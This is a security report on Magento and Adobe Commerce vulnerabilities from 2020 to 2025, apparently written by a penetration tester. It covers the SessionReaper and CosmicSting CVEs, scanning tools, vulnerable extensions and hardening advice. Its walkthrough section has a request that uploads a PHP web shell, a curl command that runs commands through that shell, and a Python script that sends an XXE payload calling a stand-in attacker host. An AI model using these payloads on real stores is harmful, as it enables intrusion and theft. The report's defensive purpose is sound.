Magento Security Landscape: A Comprehensive Analysis (2020-2025)
Author: Snr Pentester
Date: October 31, 2025
1. Executive Summary
This report provides a comprehensive overview of the Magento (now Adobe Commerce) security landscape from 2020 to the present. The research covers major vulnerabilities, exploitation tools, common misconfigurations, and the role of third-party extensions in the Magento ecosystem's security posture. The findings indicate that while Adobe frequently releases security patches, a significant portion of Magento stores remain vulnerable due to slow patch adoption. Critical vulnerabilities like SessionReaper (CVE-2025-54236) and CosmicSting (CVE-2024-34102) have been actively exploited in the wild, leading to widespread compromises. This report details these threats and provides actionable recommendations for store owners and developers.
2. Introduction
Magento is one of the world's leading e-commerce platforms, powering hundreds of thousands of online stores. Its open-source nature and extensive customization capabilities have made it a popular choice for businesses of all sizes. However, this popularity also makes it a prime target for cybercriminals. This report analyzes the security vulnerabilities, attack vectors, and defensive measures relevant to Magento from 2020 to 2025, offering a detailed resource for understanding and mitigating the platform's security risks.
Magento's layered architecture provides flexibility but also presents a complex attack surface.
3. Critical Vulnerabilities & CVEs (2020-2025)
The period between 2020 and 2025 has seen the discovery of several critical vulnerabilities in Magento. The most significant of these are detailed below.
Major Named Vulnerabilities
- SessionReaper (CVE-2025-54236): A critical unauthenticated Remote Code Execution (RCE) vulnerability that allows attackers to take full control of a store. Sansec reported that automated attacks had hit over 50% of all stores globally, and as of late October 2025, 62% of stores remained unpatched [1].
- CosmicSting (CVE-2024-34102): A critical XML External Entity (XXE) injection vulnerability, described as the "worst bug to hit Magento in two years." It threatened 75% of Adobe Commerce stores and led to the compromise of 5% of all stores by October 2024 [2].
- TrojanOrder (2022): A significant threat in 2022, where at least seven Magecart groups injected TrojanOrders at approximately 38% of Magento and Adobe Commerce websites in November 2022 [3].
Summary of Critical CVEs
| CVE ID | Name/Alias | Vulnerability Type | CVSS Score | Year | Notes |
|---|---|---|---|---|---|
| CVE-2025-54236 | SessionReaper | Improper Input Validation (RCE) | 9.8 | 2025 | Actively exploited, leading to mass compromises. |
| CVE-2024-34102 | CosmicSting | XML External Entity (XXE) | 9.8 | 2024 | Described as the worst bug in two years, with widespread impact. |
| CVE-2022-24086 | - | Improper Input Validation (RCE) | 9.8 | 2022 | A critical vulnerability that could lead to arbitrary code execution. |
| CVE-2019-7139 | Ambionics SQLi | SQL Injection | 9.8 | 2019 | An unauthenticated SQL injection vulnerability. |
Adobe Security Bulletins (2020-2025)
Adobe has released numerous security bulletins for Magento and Adobe Commerce. A complete list can be found on the Adobe Security Bulletins page for Magento [4].
4. Exploitation Walkthroughs and Code Examples
CVE-2025-54236 (SessionReaper) - Technical Deep Dive
SessionReaper exploits a flaw in the customer address file upload functionality. Here's how it works:
Step 1: Craft Malicious HTTP Request
The attacker sends a POST request to the /customer/address_file/upload endpoint, embedding a malicious PHP shell within a multipart form data request.
POST /customer/address_file/upload HTTP/1.1
Host: target-magento-store.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="custom_attributes[country_id]"; filename="shell.php"
Content-Type: text/plain
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary--Step 2: Locate and Execute the Shell
The server saves the file, and the attacker can then access it to execute commands.
curl "https://target-magento-store.com/customer/address/viewfile/file/BASE64_ENCODED_PATH/?cmd=ls%20-la"CVE-2024-34102 (CosmicSting) - Exploitation Flow
CosmicSting is an XXE vulnerability. The attack flow is illustrated in the diagram below:
Exploitation flow for the CosmicSting vulnerability (Source: Splunk).
# Python script to check for CosmicSting
import requests
def check_cosmicsting(target):
url = f"{target}/rest/V1/guest-carts/1/estimate-shipping-methods"
payload = {
"address": {
"totalsCollector": {
"collectorList": {
"totalCollector": {
"sourceData": {
"data": "http://attacker.com/xxe.xml",
"dataIsURL": True
}
}
}
}
}
}
try:
requests.post(url, json=payload, timeout=5)
print(f"[+] Payload sent to {target}. Check your server for a callback.")
except requests.exceptions.Timeout:
print(f"[+] Request to {target} timed out, which may indicate success.")
except Exception as e:
print(f"[-] An error occurred: {e}")
5. Exploitation Tools, Scripts, and Automation
Public Exploit Repositories
| Repository | Description |
|---|---|
| ambionics/magento-exploits | Exploits for Magento 2.3.0 and lower, including SQLi. |
| th3gokul/CVE-2024-34102 | Exploit for the CosmicSting (XXE) vulnerability. |
Automation and Scanning with Nuclei
Nuclei is a powerful tool for automated scanning. Here’s how to use it to find Magento vulnerabilities:
# Scan a single target for critical Magento vulnerabilities
nuclei -u https://target-store.com -t cves/ -tags magento -severity critical6. Vulnerable Extensions and Third-Party Modules
Third-party extensions are a major source of vulnerabilities. The Magento Vulnerability Database (magevulndb) is a key resource for tracking insecure extensions [8].
"Bad extensions are now the main source of Magento hacks." - Sansec [9]
As of October 2025, the database lists 106 vulnerable extensions for Magento 1 and 52 for Magento 2.
XSS vulnerabilities are common in third-party extensions (Source: scandiweb).
7. Common Misconfigurations and Default Settings
Misconfigurations are a leading cause of Magento security breaches. Key areas of concern include:
- Exposed Admin Panel: Leaving the admin URL at its default (
/admin). - Publicly Accessible Sensitive Files: The
app/etc/local.xml(Magento 1) orapp/etc/env.php(Magento 2) files. - Unprotected Directories: Directories like
/downloader,/var, and/media.
8. Conclusion and Recommendations
The Magento security landscape requires constant vigilance. Key recommendations include:
- Timely Patching: Apply security patches as soon as they are released.
- Vulnerability Scanning: Regularly scan your store with tools like Nuclei and MageScan.
- Third-Party Extension Audits: Vet all third-party extensions and check them against the
magevulndb. - Secure Configuration: Follow security best practices for file permissions and admin URL.
- Strong Access Control: Use strong, unique passwords and enable 2FA for all admin accounts.
9. References
- [1] Sansec. (2025, October 22). SessionReaper attacks have started, 3 in 5 stores still vulnerable. Sansec. https://sansec.io/research
- [2] Sansec. (2024, September 16). CosmicSting attack & defense overview. Sansec. https://sansec.io/research/cosmicsting
- [3] Sansec. (2022, November 15). Adobe Commerce merchants to be hit with TrojanOrders attacks. Sansec. https://sansec.io/research/trojanorder-magento
- [4] Adobe. (2025). Security Bulletins and Advisories. Adobe. https://helpx.adobe.com/security/products/magento.html
- [5] ProjectDiscovery. (2025). nuclei-templates. GitHub. https://github.com/projectdiscovery/nuclei-templates
- [6] Robbins, S. (n.d.). magescan. GitHub. https://github.com/steverobbins/magescan
- [7] Sansec. (n.d.). eComscan. Sansec. https://sansec.io/ecomscan
- [8] Sansec. (n.d.). magevulndb. GitHub. https://github.com/sansecio/magevulndb
- [9] Sansec. (n.d.). Bad extensions now main source of Magento hacks. Sansec. https://sansec.io/research/magento-module-blacklist
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